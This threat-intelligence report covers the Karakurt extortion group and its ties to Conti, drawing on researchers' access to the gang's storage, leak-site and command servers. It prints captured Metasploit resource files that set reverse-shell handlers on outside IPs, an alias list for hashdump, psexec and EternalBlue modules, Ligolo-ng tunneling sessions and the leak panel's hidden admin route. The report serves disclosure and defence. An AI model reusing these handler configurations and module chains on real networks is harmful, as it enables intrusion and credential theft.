



Threat Spotlight: **Conti Ransomware** **Group Behind the** **Karakurt** **Hacking Team**

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
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Threat Spotlight: Conti Ransomware Group Behind the Karakurt Hacking Team

Report Summary

In this report we would like to share the strong connection between two notorious Cyber Threat Actors called **Conti and Karakurt**. Both of them worked for the same end result and it is the ransom money. The Infinitum IT Cyber Threat Intelligence team successfully monitored one of the key members of Conti Ransomware group, at this stage we don't want to disclose the nickname of the group member but we will share details about how the connection between two cyber threat groups occurred, tactics and techniques used by Karakurt hacking team and details about internal infrastructure of Conti / Karakurt.

Infinitum IT Cyber Threat Intelligence team able to obtain remote access on multiple servers, they are being actively used by members of threat actors as command and control server, storage server that have stolen private data from various victims and web server that is being used by **Karakurt Hacking team** as a blog page. Threat actors like Ransomware group used their web pages to share large numbers of exfiltrate data that are being stolen from victims, they are using data to threaten the victim companies to pay the ransom money.




All of the data in this report has been shared with the Government authorized, to help them in further investigation. The data from Command and Control Servers will be used for preventing future cyber attacks and help various organizations across the globe, in this report we shared **TTP and IOC list** that contains analyzed data that is coming from attackers internal servers. Our main goal is to help the victims of these attacks and prevent the future cyber attacks against various institutions and organizations.

Information About Karakurt (Russian: Каракурт) Threat Actors

Karakurt is a well known threat actor group that has launched cyberattack against several Canadian and US organizations. On December 29, 2021, the Karakurt group claimed on its website that it had struck 11 organizations as part of its “**Winter Data Leak Digest**.” Of the 11, six were based in Canada. The group claimed to have compromised more than 40 victims between September and November 2021, sharing the stolen files on its name and shame blog website.

Karakurt focuses exclusively on the **Data Exfiltration**, they are not using Ransomware to encrypt victims files. The group accomplishes this by first using VPN credentials to access victims’ networks, through phishing attacks against victims.



Blog web page used by Karakurt team (karakurt[.]co)

Karakurt had previously employed the **Cobalt Strike** remote access tool, but we also observed that it had since switched to using **AnyDesk**. Afterwards, the group steals additional credentials from administrators by using the password-stealing tool **Mimikatz** and Active Directory enumeration tool called **ADfind**. No ransomware is employed at any stage of the attacks, but the group uses the threat of leaking the stolen data for its ransom demands.

We also observed that attackers use **Mega** upload accounts to store large volumes of stolen data.


Tactic and Techniques Used by Karakurt Hacking Team

MITRE ATT&CK Table


Tactic	Technique
Initial Access	T1133: External Remote Services T1078: Valid Accounts
Execution	T1059: Command and Scripting Interpreter T1086: PowerShell T1035: Service Execution
Persistence	T1050: New Service
Defense Evasion	T1078: Valid Accounts T1036: Masquerading T1027: Obfuscated Files or Information
Credential Access	T1110: Brute Force T1003: Credential Dumping T1557.001: LLMNR/NBT-NS Poisoning and SMB Relay
Discovery	T1083: File and Directory Discovery T1082: System Information Discovery T1087: Account Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery T1016: System Network Configuration Discovery
Lateral Movement	T1021.001: Remote Desktop Protocol T1021.006: Windows Remote Management
Collection	T1005: Data from Local System T1039: Data from Network Shared Drive
Command & Control	T1436: Commonly Used Port T1105: Remote File Copy T1071: Standard Application Layer Protocol T1572: Protocol Tunneling
Exfiltration	T1002: Data Compressed T1048: Exfiltration Over Alternative Protocol

Internal Infrastructure Used by Conti and Karakurt Group

At the beginning of Conti leak in February 27, 2022 we are able to get inside multiple Protonmail and Mega Upload accounts used by one of the key members of **Conti Ransomware group**, after further investigation we observed threat actors used multiple Protonmail accounts for OPSEC reason, we are able to archived the content of mail traffic and we observed multiple email coming from Russian VPS Service called Inferno solutions, we got remote access on one of the Windows VPS Server that being used data storage system. That has more than 20 TB+ of stolen victim data.




Proton mail account used by key member of Conti Ransomware group



VPS Server Admin Panel

Windows Data Storage Server Used by Conti Ransomware

Our first stage of analysis is this data storage server that is being used for storing large volumes of **stolen data from victims**. We can also observe that some of the data was old but not published publicly. We contact the victims to give their data back, on every Cyber Attacks we saw the usage of Mega Upload accounts to manage this overall **20TB+ data**.



During our investigation we observed that, Conti member used **FileZilla** to connect multiple remote servers, the main purpose is to upload the stolen data to another server for preparing the public release.

When we take a closer look at the IP address **209.[.]222[.]198[.]19** the DNS record shows us, it belongs to the **karakurt[.]co** blog page which it is being used for sharing the stolen files. During connection of remote server via FileZilla, Conti member don't save any Password credentials, but Infinitum IT Cyber Threat Intelligence team successfully obtained the SSH Credentials via a **0day vulnerability affected by FileZilla** and used this credentials to get inside the Command and Control Server. Attacker also used a SSH Private key to connect karakurt[.]co blog page, we also managed to obtain the private key.

Karakurt Blog Web Server

When we connected to the **Karakurt Blog Web Server**, we saw that all of the stolen data had been categorized by a Software that was being developed by Karakurt members. During our analysis we are able to find an Admin Panel used by Karakurt and Server LOG data. Admin panel is being used for visualizing and filtering all stolen files.

```

user_zwjn5usyzzfzdtu2@ns1:/$ ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eno1: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:25:90:d2:c4:c8 brd ff:ff:ff:ff:ff:ff
    inet 209.222.98.19/24 brd 209.222.98.255 scope global eno1
        valid_lft forever preferred_lft forever
    inet6 fe80::225:90ff:fed2:c4c8/64 scope link
        valid_lft forever preferred_lft forever
3: eno2: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:25:90:d2:c4:c9 brd ff:ff:ff:ff:ff:ff
user_zwjn5usyzzfzdtu2@ns1:/$ cd home
user_zwjn5usyzzfzdtu2@ns1:/home$ ls -la
total 20
drwxr-xr-x  5 root          root          4096 Feb 22 15:40 .
drwxr-xr-x 18 root          root          4096 Sep  6  2021 ..
drwxr-xr-x  5 ftpuser      sftpusers  4096 Sep  5  2021 ftpuser
drwxr-xr-x  7 user_7smus698k45ayjz user_7smus698k45ayjz 4096 Mar 14 04:50 user_7smus698k45ayjz
drwxr-xr-x  7 user_zwjn5usyzzfzdtu2 user_zwjn5usyzzfzdtu2 4096 Mar  5 07:07 user_zwjn5usyzzfzdtu2

```

Web Server of karakurt[.]co

The Infinitum IT Cyber Threat Intelligence team found this server also being used by the **TOR network** to serve itself on Darknet.

```

drwxr-xr-x  2 root root 4096 Nov 20 09:55 .
drwxr-xr-x  9 root root 4096 Jan 20 19:19 ..
lrwxrwxrwx  1 root root  33 Nov 20 09:55 public -> /etc/nginx/sites-available/public
lrwxrwxrwx  1 root root  30 Nov 20 09:40 tor -> /etc/nginx/sites-available/tor
user_zwjn5usyzzfzdtu2@ns1:/etc/nginx/sites-enabled$ cat public
upstream puma {
    server unix:/var/www/panel/tmp/sockets/puma.sock fail_timeout=0;
}

server {
    # TOR
    # allow 127.0.0.1;
    # deny all;

    keepalive_timeout 5;
    # listen 80;

    server_name karakurt.co;
    listen 443 ssl default deferred;

    ssl on;
    ssl_certificate /root/ssl/site_new.crt;
    ssl_certificate_key /root/ssl/site_new.key;
}

```

All of the stolen data has been uploaded by multiple Karakurt members on one file called Work, this data then being categorized as public or not public. We can easily see the Karakurt hacker team being more interested in Financial data from victims' devices.

In this example, it tell us storing critical data in device without Encrypting can cause the mass data exfiltration.

```

user_zwjn5usyzzfzdtu2@ns1:/work/4YACvvWck115yrVX55PKq9jymQNI4hA7$ cd published
user_zwjn5usyzzfzdtu2@ns1:/work/4YACvvWck115yrVX55PKq9jymQNI4hA7/published$ ls -la
total 88
drwxr-xr-x 19 root      root      4096 Mar 17 17:48 .
drwxr-xr-x  4 user_zwjn5usyzzfzdtu2 workfolder 4096 Mar 15 18:48 ..
drwxr-xr-x 106 root      root      4096 Mar 17 17:48 123Corp
drwxr-xr-x  3 root      root      4096 Mar 16 09:10 2021kj
drwxr-xr-x  3 root      root      4096 Mar 15 16:02 88
drwxr-xr-x  3 root      root      4096 Mar 15 17:44 Administration
drwxr-xr-x 12 root      root      4096 Mar 17 17:48 Assn987
drwxr-xr-x 40 root      root      4096 Mar 15 18:49 Assnlku
drwxr-xr-x  3 root      root      4096 Mar 15 17:27 Comptabilite1
drwxr-xr-x 67 root      root      4096 Mar 17 17:48 Corfnp
drwxr-xr-x 85 root      root      4096 Mar 16 10:49 Corpsfgh
drwxr-xr-x  6 root      root      4096 Mar 17 17:48 Evenq5wts
drwxr-xr-x  3 root      root      4096 Mar 15 17:42 Finances12309
drwxr-xr-x  5 root      root      4096 Mar 15 17:46 iis_full_p2erms
drwxr-xr-x  4 root      root      4096 Mar 15 16:00 Partne34rs
drwxr-xr-x 13 root      root      4096 Mar 17 17:48 Partners76
drwxr-xr-x  3 root      root      4096 Mar 17 17:48 Salles_de_conf
drwxr-xr-x  3 root      root      4096 Mar 15 17:40 SecrétariatCorporatif1
drwxr-xr-x 177 root      root      16384 Mar 17 17:48 ventes1
user_zwjn5usyzzfzdtu2@ns1:/work/4YACvvWck115yrVX55PKq9jymQNI4hA7/published$

```

Inside the server directory we can observed source code of the **Admin Panel**.

```

user_zwjn5usyzzfzdtu2@ns1:/var/www/panel/tmp/cache$ cd ..
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel/tmp$ ls
cache pids restart.txt sockets storage
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel/tmp$ cd storage
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel/tmp/storage$ ls -la
total 8
drwxrwxr-x 2 root root 4096 Sep  2 2021 .
drwxrwxr-x 6 root root 4096 Sep  1 2021 ..
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel/tmp/storage$ cd ..
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel/tmp$ cd ..
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel$ ls
app bin config config.ru db Gemfile Gemfile.lock gems log magazine.zip public Rakefile tmp
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel$ ls -la
total 72
drwxr-xr-x 11 root      root      4096 Mar 14 04:56 .
drwxr-xr-x  4 root      root      4096 Sep  1 2021 ..
drwxrwxr-x  9 root      root      4096 Sep  2 2021 app
drwxrwxr-x  2 root      root      4096 Sep  2 2021 bin
drwxr-xr-x  2 root      root      4096 Sep  1 2021 .bundle
drwxrwxr-x  6 root      root      4096 Mar 10 18:39 config
-rw-rw-r--  1 root      root      160 Sep  2 2021 config.ru
drwxrwxr-x  3 root      root      4096 Sep  1 2021 db
-rw-rw-r--  1 root      root      880 Feb 27 19:30 Gemfile
-rw-r--r--  1 root      root      5825 Feb 27 19:31 Gemfile.lock
drwxrwxr-x  3 root      root      4096 Feb 26 10:05 gems
drwxrwxr-x  2 root      root      4096 Mar 10 18:43 log
-rwxr-x--  1 user_7smus698k45ayjz user_7smus698k45ayjz 5067 Mar 14 04:46 magazine.zip
drwxr-xr-x  4 root      root      4096 Nov 18 10:06 public
-rw-rw-r--  1 root      root      227 Sep  2 2021 Rakefile
drwxrwxr-x  6 root      root      4096 Sep  1 2021 tmp
user_zwjn5usyzzfzdtu2@ns1:/var/www/panel$

```


If we see the routing code developed in **Ruby on Rails**, we can identify the Admin panel file path on live Web Server.

```

routes.rb
config > routes.rb
1  Rails.application.routes.draw do
2    root to: 'public#index'
3
4    match "/403", to: "errors#forbidden", via: :all
5    match "/404", to: "errors#not_found", via: :all
6    match "/500", to: "errors#internal_server_error", via: :all
7
8    get '/about', to: 'public#about'
9    get '/auction', to: 'public#auction'
10   get '/contact_us', to: 'public#contact_us'
11   post '/contact_us', to: 'public#message_create'
12
13   resources :press_releases, param: :uuid
14   resources :companies, param: :uuid do
15     get 'files', to: 'companies#download_list_files'
16     get 'download/:uuid', to: 'companies#download', as: :download_file
17   end
18
19   scope 'zLz4rBPnLSabywhahHt8MCgp9DRDvtSQ' do
20     namespace :admin do
21       get '/', to: 'public#index'
22       get 'system', to: 'system#index'
23       get 'system/visits', to: 'system#visits'
24       post '/save_app_config', to: 'system#save_app_config'
25
26       resources :press_releases
27       resources :companies, param: :uuid do
28         get 'download/:uuid', to: 'companies#download', as: :download_file
29       end
30       get 'companies/id/:id', to: 'companies#show_by_id', as: :company_by_id

```

Ruby on Rails URL Routing



Admin Panel used by Karakurt Hacking Team

Overall storage capacity of **karakurt[.]co**

```

user_zwjn5usyzzfzdtu2@ns1:/home/ftpuser/work$ df -h
Filesystem      Size  Used Avail Use% Mounted on
udev            7.8G   0  7.8G   0% /dev
tmpfs           1.6G  145M  1.5G  10% /run
/dev/sda4        15T   4.1T   9.7T  30% /
tmpfs           7.9G   16K  7.9G   1% /dev/shm
tmpfs           5.0M   0  5.0M   0% /run/lock
tmpfs           7.9G   0  7.9G   0% /sys/fs/cgroup
/dev/sda2       454M   80M  347M  19% /boot
tmpfs           1.6G   0  1.6G   0% /run/user/1003

```


Command and Control Server

The Infinitum IT Cyber Threat Intelligence team is able to access the Command and Control Server that is being actively used by the Karakurt Hacking team on cyber attack operations. As a summary of the attack chain, we observed the use of open source tools like

```
root@ [REDACTED] 's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed Mar 16 19:42:30 UTC 2022

System load: 0.01          Processes:            167
Usage of /:  8.7% of 1.92TB Users logged in:      1
Memory usage: 51%          IPv4 address for ens3: [REDACTED]
Swap usage:  87%

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.

https://ubuntu.com/blog/microk8s-memory-optimisation

52 updates can be applied immediately.
3 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable

Last login: Wed Mar 16 19:12:03 2022 from [REDACTED]
root@vps:~# ls
-114  LICENSE                               impacket                               proxy
0302  README.md                           ligolo-ng_proxy_0.3.2_Linux_64bit.tar.gz  snap
1227  dante-server_1.4.1-1_amd64.deb      metasploit-4.13.0-2017022101-linux-x64-installer.run  use
Alias  grupojuritas                        metasploit-latest-linux-x64-installer.run  userpass.txt
IT.7z  grupojuritasRH                      msfinstall

root@vps:~#
```

- [Ligolo-ng](#) : Getting Initial Access on companies network via Reverse Tunneling, this technique being used for bypassing miss configured Firewall systems.
- [Metasploit](#) : Karakurt used Metasploit as C2 server and in post exploitation phase details can be seen on Metasploit log file that was obtained and shared by the Infinitum IT Cyber Threat Intelligence team on IOC part.
- [Impacket](#): After getting Initial Access on the victim company network, Karakurt hacking team use Impacket to perform NTLM relay attacks. This tool mainly used for Lateral Movement
- [Danted](#): Fast script for installing & configuring Danted--Socks5 Proxy Server. That being used for Reverse Tunneling.

On a misconfigured Firewall, Threat actors can abuse this issue and they are able to get Initial Access on remote networks by **Reverse Proxy Tunneling** technique. In this report we don't disclose the victim but we want to raise an awareness on usage of such technique is not a sophisticated attack, there are plenty of Open Source tools used by cyber attackers and if your network doesn't prepared against such an attack you may become the target.

```

Ligolo-ng » startINFO[0043] Agent joined.
Ligolo-ng » start
error: please, select an agent using the session command
Ligolo-ng » session
? Specify a session : 1 - 
[Agent : ] » help

Ligolo-ng - An advanced, yet simple tunneling tool

Commands:
=====
clear    clear the screen
exit     exit the shell
help     use 'help [command]' for command help
ifconfig Show agent interfaces
session  Change the current relay agent

Listeners
=====
listener_add Listen on the agent and redirect connections to the desired address
listener_list List currently running listeners
listener_stop Stop a listener

Tunneling
=====
start Start relaying connection to the current agent
stop Stop the tunnel

[Agent : ] » start
[Agent : ] » INFO[0082] Starting tunnel to 

```

Ligolo Proxy Panel

On below image can showed us, after getting Initial Access on the victim network with reverse tunneling, attacker able to obtained Internet interface data to perform the attack, just like they physically inside the network.

```

[Agent : ] » ifconfig

Interface 0
-----
Name      Ethernet 3
Hardware  MAC      06:de:4d:d8:e9:f2
MTU       1500
Flags     up|broadcast|multicast
IPv4 Address  10.240.157.45/26

Interface 1
-----
Name      Loopback Pseudo-Interface 1
Hardware  MAC      -1
MTU       -1
Flags     up|loopback|multicast
IPv6 Address  ::1/128
IPv4 Address  127.0.0.1/8

[Agent : ] » session
? Specify a session : [Use arrows to move, type to filter]
> 1 - :60200

```


The Infinitum IT Cyber Threat Intelligence team, observed the usage of **Metasploit Framework** against multiple targets. Karakurt hacking team used Metasploit for getting **Reverse Shell** on victim devices, **brute forcing SMB shares** and **RDP sessions**.

```

[ ]
+ -- ==[ metasploit v6.1.34-dev- ]
+ -- ==[ 2208 exploits - 1169 auxiliary - 395 post ]
+ -- ==[ 596 payloads - 45 encoders - 11 nops ]
+ -- ==[ 9 evasion ]
+ ]

Metasploit tip: Use sessions -i to interact with the
last opened session

[*] Starting persistent handler(s)...
msf6 > cd Allias
msf6 > resource http.rc
[*] Processing /root/Allias/http.rc for ERB directives.
resource (/root/Allias/http.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (/root/Allias/http.rc)> set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
resource (/root/Allias/http.rc)> set lhost 173.232.146.50
lhost => 173.232.146.50
resource (/root/Allias/http.rc)> set lport 80
lport => 80
resource (/root/Allias/http.rc)> set ExitOnSession false
ExitOnSession => false
msf6 exploit(multi/handler) > set lhost 104.238.61.153
lhost => 104.238.61.153
msf6 exploit(multi/handler) > set lport 499
lport => 499
msf6 exploit(multi/handler) > run

[*] Started HTTP reverse handler on http://104.238.61.153:499
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) > set lport 501
lport => 501
msf6 exploit(multi/handler) > run

[*] Started HTTP reverse handler on http://104.238.61.153:501
^
^
[5] 0:ruby* "vps.server.c

```

Post exploitation techniques used by Karakurt group can be observed on Metasploit logs

```

root@vps:~# cd Allias/
root@vps:~/Allias# ls
allias.rc  http.rc  https.rc  tcp_8443.rc  tcp_8444.rc
root@vps:~/Allias# cat allias.rc
load alias
alias arp_s 'use post/windows/gather/arp_scanner'
alias portscan 'use auxiliary/scanner/portscan/tcp'
alias hashdump 'use post/windows/gather/hashdump'
alias smb_version 'use auxiliary/scanner/smb/smb_version'
alias smb_download 'use auxiliary/admin/smb/download_file'
alias smb_login 'use auxiliary/scanner/smb/smb_login'
alias smb_upload 'use auxiliary/admin/smb/upload_file'
alias smb_delete 'use auxiliary/admin/smb/delete_file'
alias psexec 'use exploit/windows/smb/psexec'
alias psexec_com 'use auxiliary/admin/smb/psexec_command'
alias creds_hashdump 'use post/windows/gather/hashdump'
alias cred_gpp 'use post/windows/gather/credentials/gpp'
alias ntds_util 'use post/windows/gather/file_from_raw_ntfs'
alias ad_to_sqlite 'use post/windows/gather/ad_to_sqlite'
alias ms17_scan 'use auxiliary/scanner/smb/smb_ms17_010'
alias ms17 'use exploit/windows/smb/ms17_010_eternalblue'
alias ms17_com 'use auxiliary/admin/smb/ms17_010_command'
alias ms17_ps 'use exploit/windows/smb/ms17_010_psexec'
alias ad_pc 'use post/windows/gather/enum_ad_computers'
alias ad_com 'use post/windows/gather/enum_ad_user_comments'
alias dll_ing 'use post/windows/manage/reflective_dll_inject'
root@vps:~/Allias# cat https.rc
use exploit/multi/handler

```

Mitigation Against Conti / Karakurt Hacking Team

- Employ robust and routine user-awareness and training regimens for users of all systems.
- Ensure that a robust crisis management and incident response plan are in place in the event of a high impact intrusion.
- Maintain best practices against malware, such as patching, updating anti-virus software, implementing strict network egress policies, and using application whitelisting where feasible.
- Patch infrastructure to the highest available level, as threat actors are often better able to exploit older systems with existing vulnerabilities.
- Ensure all internet-facing security and remote access appliances are patched to the latest versions.
- Disable RDP on external-facing devices and restrict workstation-to-workstation RDP connections.
- Employ a strong corporate password policy that includes industry standards for password length, complexity, and expiration dates for both human and non-human accounts.
- Use MFA where possible for authenticating corporate accounts to include remote access mechanisms and security tools. Admin accounts should be cross-platform MFA enforced.
- Use admin accounts only for administrative purposes and never to connect to the network or browse the internet.
- Do not store unprotected credentials in files and scripts on shared locations.
- Deploy EDR across the environment, targeting at least 90% coverage of endpoint and workload visibility.
- Encrypt data at rest where possible and protect related keys and technology.
- Hunt for attacker TTPs, including common “living off the land” techniques, to proactively detect and respond to a cyber-attack and mitigate its impact.

IOC Data

<https://github.com/infinitumitlabs/Karakurt-Hacking-Team-CTI>

Acknowledgement

We would like to thank "Federal Office for Information Security (BSI) / Germany" for their valuable guidance and support throughout this research.

During our research we also contacted companies who got affected by Conti / Karakurt Threat Actors to prevent the ongoing Cyber Attacks or notify them about the incident.

The public version of the report will be shared from our github page

<https://github.com/infinitumitlabs>

Readers can find the new samples, IOCs, and new versions of this report from our github page as we will constantly update our page based on new findings.

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Threat Spotlight: **Conti Ransomware** **Group Behind the** **Karakurt** **Hacking Team**